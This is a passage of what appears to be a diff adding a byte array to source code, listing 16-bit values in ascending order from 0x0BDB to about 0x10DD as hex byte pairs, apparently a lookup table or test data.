0x0B, 0xDB, + 0x0B, 0xDC, 0x0B, 0xDD, 0x0B, 0xDE, 0x0B, 0xDF, + 0x0B, 0xE0, 0x0B, 0xE1, 0x0B, 0xE2, 0x0B, 0xE3, + 0x0B, 0xE4, 0x0B, 0xE5, 0x0B, 0xE6, 0x0B, 0xE7, + 0x0B, 0xE8, 0x0B, 0xE9, 0x0B, 0xEA, 0x0B, 0xEB, + 0x0B, 0xEC, 0x0B, 0xED, 0x0B, 0xEE, 0x0B, 0xEF, + 0x0B, 0xF0, 0x0B, 0xF1, 0x0B, 0xF2, 0x0B, 0xF3, + 0x0B, 0xF4, 0x0B, 0xF5, 0x0B, 0xF6, 0x0B, 0xF7, + 0x0B, 0xF8, 0x0B, 0xF9, 0x0B, 0xFA, 0x0B, 0xFB, + 0x0B, 0xFC, 0x0B, 0xFD, 0x0B, 0xFE, 0x0B, 0xFF, + 0x0C, 0x00, 0x0C, 0x01, 0x0C, 0x02, 0x0C, 0x03, + 0x0C, 0x04, 0x0C, 0x05, 0x0C, 0x06, 0x0C, 0x07, + 0x0C, 0x08, 0x0C, 0x09, 0x0C, 0x0A, 0x0C, 0x0B, + 0x0C, 0x0C, 0x0C, 0x0D, 0x0C, 0x0E, 0x0C, 0x0F, + 0x0C, 0x10, 0x0C, 0x11, 0x0C, 0x12, 0x0C, 0x13, + 0x0C, 0x14, 0x0C, 0x15, 0x0C, 0x16, 0x0C, 0x17, + 0x0C, 0x18, 0x0C, 0x19, 0x0C, 0x1A, 0x0C, 0x1B, + 0x0C, 0x1C, 0x0C, 0x1D, 0x0C, 0x1E, 0x0C, 0x1F, + 0x0C, 0x20, 0x0C, 0x21, 0x0C, 0x22, 0x0C, 0x23, + 0x0C, 0x24, 0x0C, 0x25, 0x0C, 0x26, 0x0C, 0x27, + 0x0C, 0x28, 0x0C, 0x29, 0x0C, 0x2A, 0x0C, 0x2B, + 0x0C, 0x2C, 0x0C, 0x2D, 0x0C, 0x2E, 0x0C, 0x2F, + 0x0C, 0x30, 0x0C, 0x31, 0x0C, 0x32, 0x0C, 0x33, + 0x0C, 0x34, 0x0C, 0x35, 0x0C, 0x36, 0x0C, 0x37, + 0x0C, 0x38, 0x0C, 0x39, 0x0C, 0x3A, 0x0C, 0x3B, + 0x0C, 0x3C, 0x0C, 0x3D, 0x0C, 0x3E, 0x0C, 0x3F, + 0x0C, 0x40, 0x0C, 0x41, 0x0C, 0x42, 0x0C, 0x43, + 0x0C, 0x44, 0x0C, 0x45, 0x0C, 0x46, 0x0C, 0x47, + 0x0C, 0x48, 0x0C, 0x49, 0x0C, 0x4A, 0x0C, 0x4B, + 0x0C, 0x4C, 0x0C, 0x4D, 0x0C, 0x4E, 0x0C, 0x4F, + 0x0C, 0x50, 0x0C, 0x51, 0x0C, 0x52, 0x0C, 0x53, + 0x0C, 0x54, 0x0C, 0x55, 0x0C, 0x56, 0x0C, 0x57, + 0x0C, 0x58, 0x0C, 0x59, 0x0C, 0x5A, 0x0C, 0x5B, + 0x0C, 0x5C, 0x0C, 0x5D, 0x0C, 0x5E, 0x0C, 0x5F, + 0x0C, 0x60, 0x0C, 0x61, 0x0C, 0x62, 0x0C, 0x63, + 0x0C, 0x64, 0x0C, 0x65, 0x0C, 0x66, 0x0C, 0x67, + 0x0C, 0x68, 0x0C, 0x69, 0x0C, 0x6A, 0x0C, 0x6B, + 0x0C, 0x6C, 0x0C, 0x6D, 0x0C, 0x6E, 0x0C, 0x6F, + 0x0C, 0x70, 0x0C, 0x71, 0x0C, 0x72, 0x0C, 0x73, + 0x0C, 0x74, 0x0C, 0x75, 0x0C, 0x76, 0x0C, 0x77, + 0x0C, 0x78, 0x0C, 0x79, 0x0C, 0x7A, 0x0C, 0x7B, + 0x0C, 0x7C, 0x0C, 0x7D, 0x0C, 0x7E, 0x0C, 0x7F, + 0x0C, 0x80, 0x0C, 0x81, 0x0C, 0x82, 0x0C, 0x83, + 0x0C, 0x84, 0x0C, 0x85, 0x0C, 0x86, 0x0C, 0x87, + 0x0C, 0x88, 0x0C, 0x89, 0x0C, 0x8A, 0x0C, 0x8B, + 0x0C, 0x8C, 0x0C, 0x8D, 0x0C, 0x8E, 0x0C, 0x8F, + 0x0C, 0x90, 0x0C, 0x91, 0x0C, 0x92, 0x0C, 0x93, + 0x0C, 0x94, 0x0C, 0x95, 0x0C, 0x96, 0x0C, 0x97, + 0x0C, 0x98, 0x0C, 0x99, 0x0C, 0x9A, 0x0C, 0x9B, + 0x0C, 0x9C, 0x0C, 0x9D, 0x0C, 0x9E, 0x0C, 0x9F, + 0x0C, 0xA0, 0x0C, 0xA1, 0x0C, 0xA2, 0x0C, 0xA3, + 0x0C, 0xA4, 0x0C, 0xA5, 0x0C, 0xA6, 0x0C, 0xA7, + 0x0C, 0xA8, 0x0C, 0xA9, 0x0C, 0xAA, 0x0C, 0xAB, + 0x0C, 0xAC, 0x0C, 0xAD, 0x0C, 0xAE, 0x0C, 0xAF, + 0x0C, 0xB0, 0x0C, 0xB1, 0x0C, 0xB2, 0x0C, 0xB3, + 0x0C, 0xB4, 0x0C, 0xB5, 0x0C, 0xB6, 0x0C, 0xB7, + 0x0C, 0xB8, 0x0C, 0xB9, 0x0C, 0xBA, 0x0C, 0xBB, + 0x0C, 0xBC, 0x0C, 0xBD, 0x0C, 0xBE, 0x0C, 0xBF, + 0x0C, 0xC0, 0x0C, 0xC1, 0x0C, 0xC2, 0x0C, 0xC3, + 0x0C, 0xC4, 0x0C, 0xC5, 0x0C, 0xC6, 0x0C, 0xC7, + 0x0C, 0xC8, 0x0C, 0xC9, 0x0C, 0xCA, 0x0C, 0xCB, + 0x0C, 0xCC, 0x0C, 0xCD, 0x0C, 0xCE, 0x0C, 0xCF, + 0x0C, 0xD0, 0x0C, 0xD1, 0x0C, 0xD2, 0x0C, 0xD3, + 0x0C, 0xD4, 0x0C, 0xD5, 0x0C, 0xD6, 0x0C, 0xD7, + 0x0C, 0xD8, 0x0C, 0xD9, 0x0C, 0xDA, 0x0C, 0xDB, + 0x0C, 0xDC, 0x0C, 0xDD, 0x0C, 0xDE, 0x0C, 0xDF, + 0x0C, 0xE0, 0x0C, 0xE1, 0x0C, 0xE2, 0x0C, 0xE3, + 0x0C, 0xE4, 0x0C, 0xE5, 0x0C, 0xE6, 0x0C, 0xE7, + 0x0C, 0xE8, 0x0C, 0xE9, 0x0C, 0xEA, 0x0C, 0xEB, + 0x0C, 0xEC, 0x0C, 0xED, 0x0C, 0xEE, 0x0C, 0xEF, + 0x0C, 0xF0, 0x0C, 0xF1, 0x0C, 0xF2, 0x0C, 0xF3, + 0x0C, 0xF4, 0x0C, 0xF5, 0x0C, 0xF6, 0x0C, 0xF7, + 0x0C, 0xF8, 0x0C, 0xF9, 0x0C, 0xFA, 0x0C, 0xFB, + 0x0C, 0xFC, 0x0C, 0xFD, 0x0C, 0xFE, 0x0C, 0xFF, + 0x0D, 0x00, 0x0D, 0x01, 0x0D, 0x02, 0x0D, 0x03, + 0x0D, 0x04, 0x0D, 0x05, 0x0D, 0x06, 0x0D, 0x07, + 0x0D, 0x08, 0x0D, 0x09, 0x0D, 0x0A, 0x0D, 0x0B, + 0x0D, 0x0C, 0x0D, 0x0D, 0x0D, 0x0E, 0x0D, 0x0F, + 0x0D, 0x10, 0x0D, 0x11, 0x0D, 0x12, 0x0D, 0x13, + 0x0D, 0x14, 0x0D, 0x15, 0x0D, 0x16, 0x0D, 0x17, + 0x0D, 0x18, 0x0D, 0x19, 0x0D, 0x1A, 0x0D, 0x1B, + 0x0D, 0x1C, 0x0D, 0x1D, 0x0D, 0x1E, 0x0D, 0x1F, + 0x0D, 0x20, 0x0D, 0x21, 0x0D, 0x22, 0x0D, 0x23, + 0x0D, 0x24, 0x0D, 0x25, 0x0D, 0x26, 0x0D, 0x27, + 0x0D, 0x28, 0x0D, 0x29, 0x0D, 0x2A, 0x0D, 0x2B, + 0x0D, 0x2C, 0x0D, 0x2D, 0x0D, 0x2E, 0x0D, 0x2F, + 0x0D, 0x30, 0x0D, 0x31, 0x0D, 0x32, 0x0D, 0x33, + 0x0D, 0x34, 0x0D, 0x35, 0x0D, 0x36, 0x0D, 0x37, + 0x0D, 0x38, 0x0D, 0x39, 0x0D, 0x3A, 0x0D, 0x3B, + 0x0D, 0x3C, 0x0D, 0x3D, 0x0D, 0x3E, 0x0D, 0x3F, + 0x0D, 0x40, 0x0D, 0x41, 0x0D, 0x42, 0x0D, 0x43, + 0x0D, 0x44, 0x0D, 0x45, 0x0D, 0x46, 0x0D, 0x47, + 0x0D, 0x48, 0x0D, 0x49, 0x0D, 0x4A, 0x0D, 0x4B, + 0x0D, 0x4C, 0x0D, 0x4D, 0x0D, 0x4E, 0x0D, 0x4F, + 0x0D, 0x50, 0x0D, 0x51, 0x0D, 0x52, 0x0D, 0x53, + 0x0D, 0x54, 0x0D, 0x55, 0x0D, 0x56, 0x0D, 0x57, + 0x0D, 0x58, 0x0D, 0x59, 0x0D, 0x5A, 0x0D, 0x5B, + 0x0D, 0x5C, 0x0D, 0x5D, 0x0D, 0x5E, 0x0D, 0x5F, + 0x0D, 0x60, 0x0D, 0x61, 0x0D, 0x62, 0x0D, 0x63, + 0x0D, 0x64, 0x0D, 0x65, 0x0D, 0x66, 0x0D, 0x67, + 0x0D, 0x68, 0x0D, 0x69, 0x0D, 0x6A, 0x0D, 0x6B, + 0x0D, 0x6C, 0x0D, 0x6D, 0x0D, 0x6E, 0x0D, 0x6F, + 0x0D, 0x70, 0x0D, 0x71, 0x0D, 0x72, 0x0D, 0x73, + 0x0D, 0x74, 0x0D, 0x75, 0x0D, 0x76, 0x0D, 0x77, + 0x0D, 0x78, 0x0D, 0x79, 0x0D, 0x7A, 0x0D, 0x7B, + 0x0D, 0x7C, 0x0D, 0x7D, 0x0D, 0x7E, 0x0D, 0x7F, + 0x0D, 0x80, 0x0D, 0x81, 0x0D, 0x82, 0x0D, 0x83, + 0x0D, 0x84, 0x0D, 0x85, 0x0D, 0x86, 0x0D, 0x87, + 0x0D, 0x88, 0x0D, 0x89, 0x0D, 0x8A, 0x0D, 0x8B, + 0x0D, 0x8C, 0x0D, 0x8D, 0x0D, 0x8E, 0x0D, 0x8F, + 0x0D, 0x90, 0x0D, 0x91, 0x0D, 0x92, 0x0D, 0x93, + 0x0D, 0x94, 0x0D, 0x95, 0x0D, 0x96, 0x0D, 0x97, + 0x0D, 0x98, 0x0D, 0x99, 0x0D, 0x9A, 0x0D, 0x9B, + 0x0D, 0x9C, 0x0D, 0x9D, 0x0D, 0x9E, 0x0D, 0x9F, + 0x0D, 0xA0, 0x0D, 0xA1, 0x0D, 0xA2, 0x0D, 0xA3, + 0x0D, 0xA4, 0x0D, 0xA5, 0x0D, 0xA6, 0x0D, 0xA7, + 0x0D, 0xA8, 0x0D, 0xA9, 0x0D, 0xAA, 0x0D, 0xAB, + 0x0D, 0xAC, 0x0D, 0xAD, 0x0D, 0xAE, 0x0D, 0xAF, + 0x0D, 0xB0, 0x0D, 0xB1, 0x0D, 0xB2, 0x0D, 0xB3, + 0x0D, 0xB4, 0x0D, 0xB5, 0x0D, 0xB6, 0x0D, 0xB7, + 0x0D, 0xB8, 0x0D, 0xB9, 0x0D, 0xBA, 0x0D, 0xBB, + 0x0D, 0xBC, 0x0D, 0xBD, 0x0D, 0xBE, 0x0D, 0xBF, + 0x0D, 0xC0, 0x0D, 0xC1, 0x0D, 0xC2, 0x0D, 0xC3, + 0x0D, 0xC4, 0x0D, 0xC5, 0x0D, 0xC6, 0x0D, 0xC7, + 0x0D, 0xC8, 0x0D, 0xC9, 0x0D, 0xCA, 0x0D, 0xCB, + 0x0D, 0xCC, 0x0D, 0xCD, 0x0D, 0xCE, 0x0D, 0xCF, + 0x0D, 0xD0, 0x0D, 0xD1, 0x0D, 0xD2, 0x0D, 0xD3, + 0x0D, 0xD4, 0x0D, 0xD5, 0x0D, 0xD6, 0x0D, 0xD7, + 0x0D, 0xD8, 0x0D, 0xD9, 0x0D, 0xDA, 0x0D, 0xDB, + 0x0D, 0xDC, 0x0D, 0xDD, 0x0D, 0xDE, 0x0D, 0xDF, + 0x0D, 0xE0, 0x0D, 0xE1, 0x0D, 0xE2, 0x0D, 0xE3, + 0x0D, 0xE4, 0x0D, 0xE5, 0x0D, 0xE6, 0x0D, 0xE7, + 0x0D, 0xE8, 0x0D, 0xE9, 0x0D, 0xEA, 0x0D, 0xEB, + 0x0D, 0xEC, 0x0D, 0xED, 0x0D, 0xEE, 0x0D, 0xEF, + 0x0D, 0xF0, 0x0D, 0xF1, 0x0D, 0xF2, 0x0D, 0xF3, + 0x0D, 0xF4, 0x0D, 0xF5, 0x0D, 0xF6, 0x0D, 0xF7, + 0x0D, 0xF8, 0x0D, 0xF9, 0x0D, 0xFA, 0x0D, 0xFB, + 0x0D, 0xFC, 0x0D, 0xFD, 0x0D, 0xFE, 0x0D, 0xFF, + 0x0E, 0x00, 0x0E, 0x01, 0x0E, 0x02, 0x0E, 0x03, + 0x0E, 0x04, 0x0E, 0x05, 0x0E, 0x06, 0x0E, 0x07, + 0x0E, 0x08, 0x0E, 0x09, 0x0E, 0x0A, 0x0E, 0x0B, + 0x0E, 0x0C, 0x0E, 0x0D, 0x0E, 0x0E, 0x0E, 0x0F, + 0x0E, 0x10, 0x0E, 0x11, 0x0E, 0x12, 0x0E, 0x13, + 0x0E, 0x14, 0x0E, 0x15, 0x0E, 0x16, 0x0E, 0x17, + 0x0E, 0x18, 0x0E, 0x19, 0x0E, 0x1A, 0x0E, 0x1B, + 0x0E, 0x1C, 0x0E, 0x1D, 0x0E, 0x1E, 0x0E, 0x1F, + 0x0E, 0x20, 0x0E, 0x21, 0x0E, 0x22, 0x0E, 0x23, + 0x0E, 0x24, 0x0E, 0x25, 0x0E, 0x26, 0x0E, 0x27, + 0x0E, 0x28, 0x0E, 0x29, 0x0E, 0x2A, 0x0E, 0x2B, + 0x0E, 0x2C, 0x0E, 0x2D, 0x0E, 0x2E, 0x0E, 0x2F, + 0x0E, 0x30, 0x0E, 0x31, 0x0E, 0x32, 0x0E, 0x33, + 0x0E, 0x34, 0x0E, 0x35, 0x0E, 0x36, 0x0E, 0x37, + 0x0E, 0x38, 0x0E, 0x39, 0x0E, 0x3A, 0x0E, 0x3B, + 0x0E, 0x3C, 0x0E, 0x3D, 0x0E, 0x3E, 0x0E, 0x3F, + 0x0E, 0x40, 0x0E, 0x41, 0x0E, 0x42, 0x0E, 0x43, + 0x0E, 0x44, 0x0E, 0x45, 0x0E, 0x46, 0x0E, 0x47, + 0x0E, 0x48, 0x0E, 0x49, 0x0E, 0x4A, 0x0E, 0x4B, + 0x0E, 0x4C, 0x0E, 0x4D, 0x0E, 0x4E, 0x0E, 0x4F, + 0x0E, 0x50, 0x0E, 0x51, 0x0E, 0x52, 0x0E, 0x53, + 0x0E, 0x54, 0x0E, 0x55, 0x0E, 0x56, 0x0E, 0x57, + 0x0E, 0x58, 0x0E, 0x59, 0x0E, 0x5A, 0x0E, 0x5B, + 0x0E, 0x5C, 0x0E, 0x5D, 0x0E, 0x5E, 0x0E, 0x5F, + 0x0E, 0x60, 0x0E, 0x61, 0x0E, 0x62, 0x0E, 0x63, + 0x0E, 0x64, 0x0E, 0x65, 0x0E, 0x66, 0x0E, 0x67, + 0x0E, 0x68, 0x0E, 0x69, 0x0E, 0x6A, 0x0E, 0x6B, + 0x0E, 0x6C, 0x0E, 0x6D, 0x0E, 0x6E, 0x0E, 0x6F, + 0x0E, 0x70, 0x0E, 0x71, 0x0E, 0x72, 0x0E, 0x73, + 0x0E, 0x74, 0x0E, 0x75, 0x0E, 0x76, 0x0E, 0x77, + 0x0E, 0x78, 0x0E, 0x79, 0x0E, 0x7A, 0x0E, 0x7B, + 0x0E, 0x7C, 0x0E, 0x7D, 0x0E, 0x7E, 0x0E, 0x7F, + 0x0E, 0x80, 0x0E, 0x81, 0x0E, 0x82, 0x0E, 0x83, + 0x0E, 0x84, 0x0E, 0x85, 0x0E, 0x86, 0x0E, 0x87, + 0x0E, 0x88, 0x0E, 0x89, 0x0E, 0x8A, 0x0E, 0x8B, + 0x0E, 0x8C, 0x0E, 0x8D, 0x0E, 0x8E, 0x0E, 0x8F, + 0x0E, 0x90, 0x0E, 0x91, 0x0E, 0x92, 0x0E, 0x93, + 0x0E, 0x94, 0x0E, 0x95, 0x0E, 0x96, 0x0E, 0x97, + 0x0E, 0x98, 0x0E, 0x99, 0x0E, 0x9A, 0x0E, 0x9B, + 0x0E, 0x9C, 0x0E, 0x9D, 0x0E, 0x9E, 0x0E, 0x9F, + 0x0E, 0xA0, 0x0E, 0xA1, 0x0E, 0xA2, 0x0E, 0xA3, + 0x0E, 0xA4, 0x0E, 0xA5, 0x0E, 0xA6, 0x0E, 0xA7, + 0x0E, 0xA8, 0x0E, 0xA9, 0x0E, 0xAA, 0x0E, 0xAB, + 0x0E, 0xAC, 0x0E, 0xAD, 0x0E, 0xAE, 0x0E, 0xAF, + 0x0E, 0xB0, 0x0E, 0xB1, 0x0E, 0xB2, 0x0E, 0xB3, + 0x0E, 0xB4, 0x0E, 0xB5, 0x0E, 0xB6, 0x0E, 0xB7, + 0x0E, 0xB8, 0x0E, 0xB9, 0x0E, 0xBA, 0x0E, 0xBB, + 0x0E, 0xBC, 0x0E, 0xBD, 0x0E, 0xBE, 0x0E, 0xBF, + 0x0E, 0xC0, 0x0E, 0xC1, 0x0E, 0xC2, 0x0E, 0xC3, + 0x0E, 0xC4, 0x0E, 0xC5, 0x0E, 0xC6, 0x0E, 0xC7, + 0x0E, 0xC8, 0x0E, 0xC9, 0x0E, 0xCA, 0x0E, 0xCB, + 0x0E, 0xCC, 0x0E, 0xCD, 0x0E, 0xCE, 0x0E, 0xCF, + 0x0E, 0xD0, 0x0E, 0xD1, 0x0E, 0xD2, 0x0E, 0xD3, + 0x0E, 0xD4, 0x0E, 0xD5, 0x0E, 0xD6, 0x0E, 0xD7, + 0x0E, 0xD8, 0x0E, 0xD9, 0x0E, 0xDA, 0x0E, 0xDB, + 0x0E, 0xDC, 0x0E, 0xDD, 0x0E, 0xDE, 0x0E, 0xDF, + 0x0E, 0xE0, 0x0E, 0xE1, 0x0E, 0xE2, 0x0E, 0xE3, + 0x0E, 0xE4, 0x0E, 0xE5, 0x0E, 0xE6, 0x0E, 0xE7, + 0x0E, 0xE8, 0x0E, 0xE9, 0x0E, 0xEA, 0x0E, 0xEB, + 0x0E, 0xEC, 0x0E, 0xED, 0x0E, 0xEE, 0x0E, 0xEF, + 0x0E, 0xF0, 0x0E, 0xF1, 0x0E, 0xF2, 0x0E, 0xF3, + 0x0E, 0xF4, 0x0E, 0xF5, 0x0E, 0xF6, 0x0E, 0xF7, + 0x0E, 0xF8, 0x0E, 0xF9, 0x0E, 0xFA, 0x0E, 0xFB, + 0x0E, 0xFC, 0x0E, 0xFD, 0x0E, 0xFE, 0x0E, 0xFF, + 0x0F, 0x00, 0x0F, 0x01, 0x0F, 0x02, 0x0F, 0x03, + 0x0F, 0x04, 0x0F, 0x05, 0x0F, 0x06, 0x0F, 0x07, + 0x0F, 0x08, 0x0F, 0x09, 0x0F, 0x0A, 0x0F, 0x0B, + 0x0F, 0x0C, 0x0F, 0x0D, 0x0F, 0x0E, 0x0F, 0x0F, + 0x0F, 0x10, 0x0F, 0x11, 0x0F, 0x12, 0x0F, 0x13, + 0x0F, 0x14, 0x0F, 0x15, 0x0F, 0x16, 0x0F, 0x17, + 0x0F, 0x18, 0x0F, 0x19, 0x0F, 0x1A, 0x0F, 0x1B, + 0x0F, 0x1C, 0x0F, 0x1D, 0x0F, 0x1E, 0x0F, 0x1F, + 0x0F, 0x20, 0x0F, 0x21, 0x0F, 0x22, 0x0F, 0x23, + 0x0F, 0x24, 0x0F, 0x25, 0x0F, 0x26, 0x0F, 0x27, + 0x0F, 0x28, 0x0F, 0x29, 0x0F, 0x2A, 0x0F, 0x2B, + 0x0F, 0x2C, 0x0F, 0x2D, 0x0F, 0x2E, 0x0F, 0x2F, + 0x0F, 0x30, 0x0F, 0x31, 0x0F, 0x32, 0x0F, 0x33, + 0x0F, 0x34, 0x0F, 0x35, 0x0F, 0x36, 0x0F, 0x37, + 0x0F, 0x38, 0x0F, 0x39, 0x0F, 0x3A, 0x0F, 0x3B, + 0x0F, 0x3C, 0x0F, 0x3D, 0x0F, 0x3E, 0x0F, 0x3F, + 0x0F, 0x40, 0x0F, 0x41, 0x0F, 0x42, 0x0F, 0x43, + 0x0F, 0x44, 0x0F, 0x45, 0x0F, 0x46, 0x0F, 0x47, + 0x0F, 0x48, 0x0F, 0x49, 0x0F, 0x4A, 0x0F, 0x4B, + 0x0F, 0x4C, 0x0F, 0x4D, 0x0F, 0x4E, 0x0F, 0x4F, + 0x0F, 0x50, 0x0F, 0x51, 0x0F, 0x52, 0x0F, 0x53, + 0x0F, 0x54, 0x0F, 0x55, 0x0F, 0x56, 0x0F, 0x57, + 0x0F, 0x58, 0x0F, 0x59, 0x0F, 0x5A, 0x0F, 0x5B, + 0x0F, 0x5C, 0x0F, 0x5D, 0x0F, 0x5E, 0x0F, 0x5F, + 0x0F, 0x60, 0x0F, 0x61, 0x0F, 0x62, 0x0F, 0x63, + 0x0F, 0x64, 0x0F, 0x65, 0x0F, 0x66, 0x0F, 0x67, + 0x0F, 0x68, 0x0F, 0x69, 0x0F, 0x6A, 0x0F, 0x6B, + 0x0F, 0x6C, 0x0F, 0x6D, 0x0F, 0x6E, 0x0F, 0x6F, + 0x0F, 0x70, 0x0F, 0x71, 0x0F, 0x72, 0x0F, 0x73, + 0x0F, 0x74, 0x0F, 0x75, 0x0F, 0x76, 0x0F, 0x77, + 0x0F, 0x78, 0x0F, 0x79, 0x0F, 0x7A, 0x0F, 0x7B, + 0x0F, 0x7C, 0x0F, 0x7D, 0x0F, 0x7E, 0x0F, 0x7F, + 0x0F, 0x80, 0x0F, 0x81, 0x0F, 0x82, 0x0F, 0x83, + 0x0F, 0x84, 0x0F, 0x85, 0x0F, 0x86, 0x0F, 0x87, + 0x0F, 0x88, 0x0F, 0x89, 0x0F, 0x8A, 0x0F, 0x8B, + 0x0F, 0x8C, 0x0F, 0x8D, 0x0F, 0x8E, 0x0F, 0x8F, + 0x0F, 0x90, 0x0F, 0x91, 0x0F, 0x92, 0x0F, 0x93, + 0x0F, 0x94, 0x0F, 0x95, 0x0F, 0x96, 0x0F, 0x97, + 0x0F, 0x98, 0x0F, 0x99, 0x0F, 0x9A, 0x0F, 0x9B, + 0x0F, 0x9C, 0x0F, 0x9D, 0x0F, 0x9E, 0x0F, 0x9F, + 0x0F, 0xA0, 0x0F, 0xA1, 0x0F, 0xA2, 0x0F, 0xA3, + 0x0F, 0xA4, 0x0F, 0xA5, 0x0F, 0xA6, 0x0F, 0xA7, + 0x0F, 0xA8, 0x0F, 0xA9, 0x0F, 0xAA, 0x0F, 0xAB, + 0x0F, 0xAC, 0x0F, 0xAD, 0x0F, 0xAE, 0x0F, 0xAF, + 0x0F, 0xB0, 0x0F, 0xB1, 0x0F, 0xB2, 0x0F, 0xB3, + 0x0F, 0xB4, 0x0F, 0xB5, 0x0F, 0xB6, 0x0F, 0xB7, + 0x0F, 0xB8, 0x0F, 0xB9, 0x0F, 0xBA, 0x0F, 0xBB, + 0x0F, 0xBC, 0x0F, 0xBD, 0x0F, 0xBE, 0x0F, 0xBF, + 0x0F, 0xC0, 0x0F, 0xC1, 0x0F, 0xC2, 0x0F, 0xC3, + 0x0F, 0xC4, 0x0F, 0xC5, 0x0F, 0xC6, 0x0F, 0xC7, + 0x0F, 0xC8, 0x0F, 0xC9, 0x0F, 0xCA, 0x0F, 0xCB, + 0x0F, 0xCC, 0x0F, 0xCD, 0x0F, 0xCE, 0x0F, 0xCF, + 0x0F, 0xD0, 0x0F, 0xD1, 0x0F, 0xD2, 0x0F, 0xD3, + 0x0F, 0xD4, 0x0F, 0xD5, 0x0F, 0xD6, 0x0F, 0xD7, + 0x0F, 0xD8, 0x0F, 0xD9, 0x0F, 0xDA, 0x0F, 0xDB, + 0x0F, 0xDC, 0x0F, 0xDD, 0x0F, 0xDE, 0x0F, 0xDF, + 0x0F, 0xE0, 0x0F, 0xE1, 0x0F, 0xE2, 0x0F, 0xE3, + 0x0F, 0xE4, 0x0F, 0xE5, 0x0F, 0xE6, 0x0F, 0xE7, + 0x0F, 0xE8, 0x0F, 0xE9, 0x0F, 0xEA, 0x0F, 0xEB, + 0x0F, 0xEC, 0x0F, 0xED, 0x0F, 0xEE, 0x0F, 0xEF, + 0x0F, 0xF0, 0x0F, 0xF1, 0x0F, 0xF2, 0x0F, 0xF3, + 0x0F, 0xF4, 0x0F, 0xF5, 0x0F, 0xF6, 0x0F, 0xF7, + 0x0F, 0xF8, 0x0F, 0xF9, 0x0F, 0xFA, 0x0F, 0xFB, + 0x0F, 0xFC, 0x0F, 0xFD, 0x0F, 0xFE, 0x0F, 0xFF, + 0x10, 0x00, 0x10, 0x01, 0x10, 0x02, 0x10, 0x03, + 0x10, 0x04, 0x10, 0x05, 0x10, 0x06, 0x10, 0x07, + 0x10, 0x08, 0x10, 0x09, 0x10, 0x0A, 0x10, 0x0B, + 0x10, 0x0C, 0x10, 0x0D, 0x10, 0x0E, 0x10, 0x0F, + 0x10, 0x10, 0x10, 0x11, 0x10, 0x12, 0x10, 0x13, + 0x10, 0x14, 0x10, 0x15, 0x10, 0x16, 0x10, 0x17, + 0x10, 0x18, 0x10, 0x19, 0x10, 0x1A, 0x10, 0x1B, + 0x10, 0x1C, 0x10, 0x1D, 0x10, 0x1E, 0x10, 0x1F, + 0x10, 0x20, 0x10, 0x21, 0x10, 0x22, 0x10, 0x23, + 0x10, 0x24, 0x10, 0x25, 0x10, 0x26, 0x10, 0x27, + 0x10, 0x28, 0x10, 0x29, 0x10, 0x2A, 0x10, 0x2B, + 0x10, 0x2C, 0x10, 0x2D, 0x10, 0x2E, 0x10, 0x2F, + 0x10, 0x30, 0x10, 0x31, 0x10, 0x32, 0x10, 0x33, + 0x10, 0x34, 0x10, 0x35, 0x10, 0x36, 0x10, 0x37, + 0x10, 0x38, 0x10, 0x39, 0x10, 0x3A, 0x10, 0x3B, + 0x10, 0x3C, 0x10, 0x3D, 0x10, 0x3E, 0x10, 0x3F, + 0x10, 0x40, 0x10, 0x41, 0x10, 0x42, 0x10, 0x43, + 0x10, 0x44, 0x10, 0x45, 0x10, 0x46, 0x10, 0x47, + 0x10, 0x48, 0x10, 0x49, 0x10, 0x4A, 0x10, 0x4B, + 0x10, 0x4C, 0x10, 0x4D, 0x10, 0x4E, 0x10, 0x4F, + 0x10, 0x50, 0x10, 0x51, 0x10, 0x52, 0x10, 0x53, + 0x10, 0x54, 0x10, 0x55, 0x10, 0x56, 0x10, 0x57, + 0x10, 0x58, 0x10, 0x59, 0x10, 0x5A, 0x10, 0x5B, + 0x10, 0x5C, 0x10, 0x5D, 0x10, 0x5E, 0x10, 0x5F, + 0x10, 0x60, 0x10, 0x61, 0x10, 0x62, 0x10, 0x63, + 0x10, 0x64, 0x10, 0x65, 0x10, 0x66, 0x10, 0x67, + 0x10, 0x68, 0x10, 0x69, 0x10, 0x6A, 0x10, 0x6B, + 0x10, 0x6C, 0x10, 0x6D, 0x10, 0x6E, 0x10, 0x6F, + 0x10, 0x70, 0x10, 0x71, 0x10, 0x72, 0x10, 0x73, + 0x10, 0x74, 0x10, 0x75, 0x10, 0x76, 0x10, 0x77, + 0x10, 0x78, 0x10, 0x79, 0x10, 0x7A, 0x10, 0x7B, + 0x10, 0x7C, 0x10, 0x7D, 0x10, 0x7E, 0x10, 0x7F, + 0x10, 0x80, 0x10, 0x81, 0x10, 0x82, 0x10, 0x83, + 0x10, 0x84, 0x10, 0x85, 0x10, 0x86, 0x10, 0x87, + 0x10, 0x88, 0x10, 0x89, 0x10, 0x8A, 0x10, 0x8B, + 0x10, 0x8C, 0x10, 0x8D, 0x10, 0x8E, 0x10, 0x8F, + 0x10, 0x90, 0x10, 0x91, 0x10, 0x92, 0x10, 0x93, + 0x10, 0x94, 0x10, 0x95, 0x10, 0x96, 0x10, 0x97, + 0x10, 0x98, 0x10, 0x99, 0x10, 0x9A, 0x10, 0x9B, + 0x10, 0x9C, 0x10, 0x9D, 0x10, 0x9E, 0x10, 0x9F, + 0x10, 0xA0, 0x10, 0xA1, 0x10, 0xA2, 0x10, 0xA3, + 0x10, 0xA4, 0x10, 0xA5, 0x10, 0xA6, 0x10, 0xA7, + 0x10, 0xA8, 0x10, 0xA9, 0x10, 0xAA, 0x10, 0xAB, + 0x10, 0xAC, 0x10, 0xAD, 0x10, 0xAE, 0x10, 0xAF, + 0x10, 0xB0, 0x10, 0xB1, 0x10, 0xB2, 0x10, 0xB3, + 0x10, 0xB4, 0x10, 0xB5, 0x10, 0xB6, 0x10, 0xB7, + 0x10, 0xB8, 0x10, 0xB9, 0x10, 0xBA, 0x10, 0xBB, + 0x10, 0xBC, 0x10, 0xBD, 0x10, 0xBE, 0x10, 0xBF, + 0x10, 0xC0, 0x10, 0xC1, 0x10, 0xC2, 0x10, 0xC3, + 0x10, 0xC4, 0x10, 0xC5, 0x10, 0xC6, 0x10, 0xC7, + 0x10, 0xC8, 0x10, 0xC9, 0x10, 0xCA, 0x10, 0xCB, + 0x10, 0xCC, 0x10, 0xCD, 0x10, 0xCE, 0x10, 0xCF, + 0x10, 0xD0, 0x10, 0xD1, 0x10, 0xD2, 0x10, 0xD3, + 0x10, 0xD4, 0x10, 0xD5, 0x10, 0xD6, 0x10, 0xD7, + 0x10, 0xD8, 0x10, 0xD9, 0x10, 0xDA, 0x10, 0xDB, + 0x10, 0xDC, 0x10, 0xDD, 0x10, 